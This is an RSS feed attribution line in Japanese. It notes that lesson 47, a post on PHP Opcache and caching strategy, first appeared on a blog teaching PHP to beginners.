The post 第47回: Opcacheとキャッシュ戦略 — PHPの実行速度を「メモリキャッシュ」で底上げする first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]>